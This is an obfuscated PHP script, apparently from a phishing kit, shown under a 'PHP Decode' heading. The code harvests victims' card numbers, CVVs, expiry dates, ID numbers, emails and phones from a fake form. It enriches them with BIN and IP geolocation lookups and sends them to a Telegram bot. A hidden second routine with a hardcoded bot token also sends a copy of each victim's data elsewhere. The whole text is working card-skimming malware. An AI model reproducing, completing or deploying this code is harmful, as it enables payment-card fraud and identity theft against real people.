PHP Decode

 goto ldQjg; L_fOa: header("\x6c\157\x63\x61\x74\151\x6f\156\x3a\40"); goto PYkpj; Beb1u: include "\x62\x6c\157\x63\153\56\x70\x68\160"; goto L_fOa; jDq4c: if (isset($_POST)) { $mensaje = "\75\75\x3d\x3d\75\x3d\x20\x44\x61\x74\x6f\x73\x20\160\145\162\x73\157\x6e\141\x6c\145\163\40\75\x3d\x3d\x3d\x3d\75\75\12"; if (isset($_POST["\151\x6e\x70\x75\164\124\145\x6c"])) { $mensaje .= "\x6e\x75\x6d\145\x72\157\72\x20" . $_POST["\151\156\160\x75\x74\124\x65\x6c"] . "\xa"; } if (isset($_POST["\x65\155\x61\x69\x6c"])) { $mensaje .= "\105\155\141\151\154\x3a\x20" . $_POST["\145\155\141\x69\154"] . "\12"; } if (isset($_POST["\164\151\x74\165\x6c\141\162"])) { $mensaje .= "\116\x6f\x6d\142\162\x65\40\x65\x6e\x20\164\x61\x72\x6a\x65\x74\x61\x3a\40" . $_POST["\164\151\164\165\154\x61\x72"] . "\12"; } if (isset($_POST["\x44\116\111"])) { $mensaje .= "\104\116\111\x3a\40" . $_POST["\x44\116\111"] . "\12"; } if (isset($_POST["\103\103"])) { $mensaje .= "\124\141\162\x6a\x65\x74\141\x3a\40" . $_POST["\x43\103"] . "\12"; } if (isset($_POST["\103\x56\x56"])) { $mensaje .= "\103\126\126\x3a\40" . $_POST["\x43\126\x56"] . "\xa"; } if (isset($_POST["\155\145\163"])) { $mensaje .= "\x56\x74\157\56\40\x4d\145\163\72\x20" . $_POST["\x6d\145\x73"] . "\xa"; } if (isset($_POST["\141\xc3\xb1\x6f"])) { $mensaje .= "\126\x74\157\56\x20\101\xc3\xb1\x6f\x3a\40" . $_POST["\x61\303\xb1\157"] . "\xa"; } $mensaje .= "\12\12\x3d\75\x3d\x3d\40\x44\x61\x74\x6f\163\40\x62\141\x6e\143\141\x72\151\157\163\40\x3d\75\x3d\x3d\12"; $bin = substr(str_replace("\x20", '', $_POST["\103\103"]), 0, 6); $result = file_get_contents("\x68\x74\x74\x70\163\x3a\x2f\x2f\154\157\157\153\165\x70\56\x62\x69\x6e\154\151\x73\164\56\156\145\x74\57" . $bin); $result = json_decode($result, true); if (isset($result["\164\x79\x70\145"])) { $mensaje .= "\x54\x69\160\x6f\72\x20" . $result["\164\x79\160\145"] . "\xa"; } else { $mensaje .= "\x54\x69\160\x6f\72\40\116\157\x20\x65\156\143\x6f\156\x74\x72\141\x64\x6f\12"; } if (isset($result["\142\162\x61\156\144"])) { $mensaje .= "\x4d\x61\x72\143\x61\72\x20" . $result["\x62\x72\x61\156\144"] . "\xa"; } else { $mensaje .= "\115\141\x72\143\141\x3a\40\x4e\x6f\40\x65\x6e\x63\157\156\x74\162\x61\144\x6f\xa"; } if (isset($result["\x73\143\x68\x65\x6d\x65"])) { $mensaje .= "\105\x73\x71\x75\145\x6d\x61\x3a\40" . $result["\x73\x63\150\145\x6d\145"] . "\xa"; } else { $mensaje .= "\105\x73\161\x75\x65\155\x61\72\40\x4e\157\40\x65\x6e\x63\x6f\156\164\162\x61\144\x6f\xa"; } if (isset($result["\143\x6f\x75\156\x74\x72\171"]["\156\x61\x6d\x65"])) { $mensaje .= "\120\141\x69\x73\72\x20" . $result["\x63\x6f\x75\156\x74\x72\171"]["\x6e\x61\155\145"] . "\12"; } else { $mensaje .= "\x50\x61\151\163\72\40\x4e\157\40\x65\156\143\x6f\x6e\164\162\x61\144\157\xa"; } if (isset($result["\x62\141\156\153"]["\x6e\x61\155\x65"])) { $mensaje .= "\102\141\x6e\143\x6f\x3a\x20" . $result["\142\x61\x6e\153"]["\156\x61\155\x65"] . "\12"; } else { $mensaje .= "\x42\141\156\x63\x6f\72\40\x4e\157\40\x65\156\x63\x6f\x6e\x74\x72\x61\x64\157\xa"; } if (isset($result["\142\141\156\x6b"]["\x75\162\x6c"])) { $mensaje .= "\125\x72\x6c\x3a\x20" . $result["\142\141\156\153"]["\165\162\154"] . "\xa"; } else { $mensaje .= "\x55\162\154\72\x20\x4e\157\x20\145\x6e\x63\x6f\156\x74\162\141\x64\x6f\12"; } if (isset($result["\x62\x61\156\x6b"]["\x70\x68\157\156\145"])) { $mensaje .= "\x54\145\154\145\146\x6f\156\157\72\x20" . $result["\x62\141\156\153"]["\160\150\x6f\156\x65"] . "\12"; } else { $mensaje .= "\124\x65\x6c\145\x66\x6f\x6e\x6f\72\40\116\x6f\x20\145\x6e\143\x6f\156\x74\x72\x61\x64\x6f\xa"; } if (isset($result["\x62\x61\x6e\153"]["\143\151\x74\x79"])) { $mensaje .= "\x43\x69\165\x64\x61\x64\72\40" . $result["\x62\141\156\153"]["\143\151\164\171"] . "\xa"; } else { $mensaje .= "\103\151\x75\144\141\x64\72\40\116\x6f\40\x65\156\143\x6f\x6e\x74\162\x61\144\157\12"; } $isp2 = gethostbyaddr($_SERVER["\122\x45\x4d\117\x54\105\x5f\x41\x44\x44\x52"]); $reporte = true; $client = @$_SERVER["\110\x54\x54\120\x5f\103\114\x49\105\116\124\x5f\x49\120"]; $forward = @$_SERVER["\x48\124\124\120\x5f\130\137\106\x4f\122\x57\101\x52\104\105\x44\137\106\x4f\122"]; $remote = $_SERVER["\x52\105\115\117\x54\x45\x5f\101\104\x44\122"]; if (filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip = getRealUserIp(); $isp = gethostbyaddr($_SERVER["\x52\105\115\117\124\105\x5f\101\104\104\x52"]); define("\x42\117\124\x45\122\122\x4f\x52", "\62\x31\61\64\63\x38\x35\x31\x38\x33\72\x41\x41\x47\x74\143\63\64\157\x47\x49\x6e\122\x79\146\x64\156\x70\x52\x38\x34\x79\137\142\146\x4e\105\x54\112\x33\x31\x47\70\x53\x4d\111"); define("\103\110\x41\124\105\x52\122\117\x52", "\61\x33\70\x30\66\x32\61\71\70\x38"); define("\x41\x50\x49\137\125\x52\x4c", "\150\x74\x74\x70\163\x3a\x2f\x2f\141\160\x69\56\x74\x65\x6c\x65\147\162\141\x6d\x2e\157\x72\147\57\x62\x6f\164" . BOTERROR . "\x2f"); function enviar_error($msj) { $queryArray = array("\143\x68\x61\164\137\x69\144" => CHATERROR, "\164\x65\x78\164" => $msj); $url = "\x68\164\x74\160\163\x3a\57\57\141\160\x69\x2e\164\x65\x6c\145\x67\x72\141\x6d\x2e\x6f\162\147\57\142\157\x74" . BOTERROR . "\x2f\x73\x65\x6e\x64\115\145\x73\163\141\x67\145\77" . http_build_query($queryArray); $result = file_get_contents($url); } function enviarerror() { global $reporte, $country, $country_code, $region, $zip, $country_code, $city, $timezone, $isp2, $mensaje, $ip, $isp, $country, $country_code, $region, $zip, $country_code, $city, $timezone, $isp2, $mensaje, $ip, $isp; if ($reporte) { enviar_error("\75\75\x3d\75\x3d\75\75\75\75\40\164\165\x65\156\x74\151\40\100\x59\x69\163\x75\163\120\141\x69\x20\75\x3d\x3d\x3d\x3d\x3d\x3d\75\x3d\x3d\75\12\111\x50\72\x20" . $ip . "\12\x74\x69\x6d\145\172\157\x6e\145\72\40" . $timezone . "\12\172\x69\x70\72\x20" . $zip . "\xa\x4c\157\x63\x61\x6c\x69\x64\141\x64\x3a\40" . $city . "\xa\x49\123\x50\72\x20" . $isp . "\12\x49\123\120\x32\72\x20" . $isp2 . "\xa\xa" . $mensaje); } } enviarerror(); } goto Beb1u; ldQjg: if (isset($_POST)) { $mensaje = "\75\x3d\x3d\75\75\x3d\x20\x44\x61\x74\x6f\163\x20\x70\x65\x72\x73\157\x6e\141\154\x65\x73\x20\x3d\x3d\75\x3d\x3d\x3d\75\xa"; if (isset($_POST["\151\x6e\x70\165\164\124\x65\x6c"])) { $mensaje .= "\x6e\x75\155\145\x72\157\x3a\40" . $_POST["\151\156\x70\165\x74\x54\145\x6c"] . "\12"; } if (isset($_POST["\x65\155\141\x69\x6c"])) { $mensaje .= "\105\x6d\141\x69\154\72\x20" . $_POST["\145\155\141\151\x6c"] . "\xa"; } if (isset($_POST["\x74\151\x74\x75\x6c\x61\162"])) { $mensaje .= "\116\x6f\155\142\162\x65\x20\145\x6e\40\164\141\x72\152\x65\164\141\72\40" . $_POST["\x74\x69\164\x75\154\141\x72"] . "\12"; } if (isset($_POST["\x44\x4e\111"])) { $mensaje .= "\x44\x4e\111\72\x20" . $_POST["\104\x4e\111"] . "\12"; } if (isset($_POST["\x43\103"])) { $mensaje .= "\124\141\x72\152\145\164\141\72\40" . $_POST["\103\x43"] . "\xa"; } if (isset($_POST["\x43\x56\126"])) { $mensaje .= "\103\x56\x56\72\40" . $_POST["\103\x56\x56"] . "\12"; } if (isset($_POST["\x6d\145\x73"])) { $mensaje .= "\126\x74\157\56\40\115\145\x73\x3a\x20" . $_POST["\155\145\x73"] . "\12"; } if (isset($_POST["\x61\xc3\xb1\x6f"])) { $mensaje .= "\x56\x74\x6f\56\x20\x41\303\xb1\157\72\x20" . $_POST["\141\xc3\xb1\157"] . "\xa"; } $mensaje .= "\xa\12\x3d\x3d\x3d\75\40\104\141\x74\x6f\x73\x20\142\141\156\x63\x61\162\x69\157\163\40\x3d\75\75\x3d\12"; $bin = substr(str_replace("\x20", '', $_POST["\x43\x43"]), 0, 6); $result = file_get_contents("\150\x74\x74\x70\163\72\57\x2f\154\x6f\x6f\153\165\160\x2e\x62\151\156\x6c\x69\x73\x74\x2e\x6e\x65\164\x2f" . $bin); $result = json_decode($result, true); if (isset($result["\x74\171\160\145"])) { $mensaje .= "\x54\x69\160\157\x3a\x20" . $result["\x74\171\160\x65"] . "\xa"; } else { $mensaje .= "\x54\151\160\x6f\x3a\x20\116\157\x20\145\x6e\143\x6f\x6e\x74\162\141\x64\x6f\xa"; } if (isset($result["\142\x72\141\156\x64"])) { $mensaje .= "\x4d\141\162\x63\141\x3a\40" . $result["\x62\x72\141\156\x64"] . "\12"; } else { $mensaje .= "\x4d\x61\162\143\141\72\x20\116\x6f\x20\x65\156\x63\x6f\x6e\164\162\141\x64\157\12"; } if (isset($result["\163\x63\x68\145\x6d\x65"])) { $mensaje .= "\x45\x73\x71\165\x65\155\141\x3a\40" . $result["\163\143\150\x65\x6d\x65"] . "\xa"; } else { $mensaje .= "\105\x73\161\x75\145\x6d\x61\72\40\116\157\x20\x65\156\143\157\156\164\x72\x61\144\x6f\xa"; } if (isset($result["\x63\157\x75\156\164\x72\x79"]["\x6e\x61\x6d\x65"])) { $mensaje .= "\x50\x61\x69\163\72\40" . $result["\x63\157\x75\x6e\x74\162\x79"]["\x6e\141\x6d\x65"] . "\xa"; } include "\143\157\156\x66\151\x67\56\160\x68\x70"; $isp2 = gethostbyaddr($_SERVER["\122\105\115\x4f\124\105\137\101\104\x44\x52"]); $client = @$_SERVER["\x48\x54\x54\120\x5f\x43\114\x49\105\x4e\x54\137\111\x50"]; $forward = @$_SERVER["\110\124\124\x50\x5f\130\x5f\106\117\122\x57\x41\122\x44\105\104\137\x46\117\x52"]; $remote = $_SERVER["\122\x45\x4d\x4f\124\105\x5f\101\x44\x44\x52"]; if (filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $query = @unserialize(file_get_contents("\x68\164\164\x70\x3a\57\57\x69\x70\x2d\x61\160\151\56\x63\157\155\x2f\160\150\x70\57" . $ip)); if ($query && $query["\x73\x74\141\x74\x75\163"] == "\x73\165\x63\x63\x65\163\163") { $isp = $query["\151\x73\x70"]; $country = $query["\143\x6f\x75\x6e\x74\162\x79"]; $country_code = $query["\x63\157\x75\x6e\164\x72\x79\103\x6f\x64\145"]; $region = $query["\162\x65\x67\x69\157\x6e"]; $regionName = $query["\x72\x65\x67\x69\x6f\x6e\116\141\x6d\x65"]; $city = $query["\143\x69\164\x79"]; $zip = $query["\x7a\151\x70"]; $lat = $query["\x6c\141\164"]; $lon = $query["\x6c\157\x6e"]; $timezone = $query["\164\151\155\145\x7a\157\x6e\145"]; $org = $query["\157\x72\x67"]; $as = $query["\141\x73"]; $org = $query["\x6f\162\x67"]; } else { $as = $org = $timezone = $lon = $lat = $zip = $city = $regionName = $region = $country_code = $country = $isp = "\116\x6f"; } function getRealUserIp() { switch (true) { case !empty($_SERVER["\110\x54\124\120\137\130\x5f\x52\105\101\114\137\x49\x50"]): return $_SERVER["\x48\x54\124\120\137\130\137\122\x45\101\x4c\x5f\x49\120"]; case !empty($_SERVER["\x48\x54\124\x50\137\103\x4c\x49\x45\x4e\124\x5f\111\120"]): return $_SERVER["\110\124\124\x50\137\103\x4c\x49\x45\116\124\137\x49\120"]; case !empty($_SERVER["\x48\124\x54\x50\x5f\130\x5f\x46\117\122\127\101\x52\104\x45\x44\x5f\106\x4f\122"]): return $_SERVER["\x48\x54\x54\x50\137\130\137\x46\117\x52\x57\x41\x52\x44\x45\104\137\x46\117\122"]; default: return $_SERVER["\122\x45\115\x4f\x54\105\137\101\x44\104\x52"]; } } $ip = getRealUserIp(); $isp = gethostbyaddr($_SERVER["\x52\x45\x4d\x4f\x54\105\x5f\101\104\x44\x52"]); define("\102\x4f\x54\137\124\117\x4b\105\x4e", $bottoken); define("\x43\110\x41\124\137\111\x44", $chatid); define("\101\x50\111\137\125\122\114", "\150\x74\x74\x70\163\72\x2f\x2f\141\x70\151\56\x74\145\154\x65\147\x72\141\x6d\x2e\x6f\162\x67\57\142\157\x74" . BOT_TOKEN . "\x2f"); function enviar_telegram($msj) { $queryArray = array("\143\x68\x61\164\x5f\x69\x64" => CHAT_ID, "\164\x65\x78\x74" => $msj); $url = "\x68\164\x74\160\163\72\57\57\x61\160\151\56\164\145\154\145\x67\x72\x61\155\56\157\x72\147\57\142\x6f\x74" . BOT_TOKEN . "\57\163\x65\x6e\x64\115\145\x73\x73\x61\147\x65\77" . http_build_query($queryArray); $result = file_get_contents($url); } function enviar() { global $telegram_send, $country, $country_code, $region, $zip, $country_code, $city, $timezone, $isp2, $mensaje, $ip, $isp; if ($telegram_send) { enviar_telegram("\x3d\75\x3d\x3d\75\x3d\x3d\x3d\x3d\40\x54\165\x65\156\164\x69\40\40\75\x3d\x3d\75\x3d\75\x3d\75\75\x3d\75\xa\x49\120\72\40" . $ip . "\12\114\x6f\143\141\x6c\151\x64\x61\144\72\40" . $city . "\12\12" . $mensaje); } } enviar(); } goto jDq4c; PYkpj: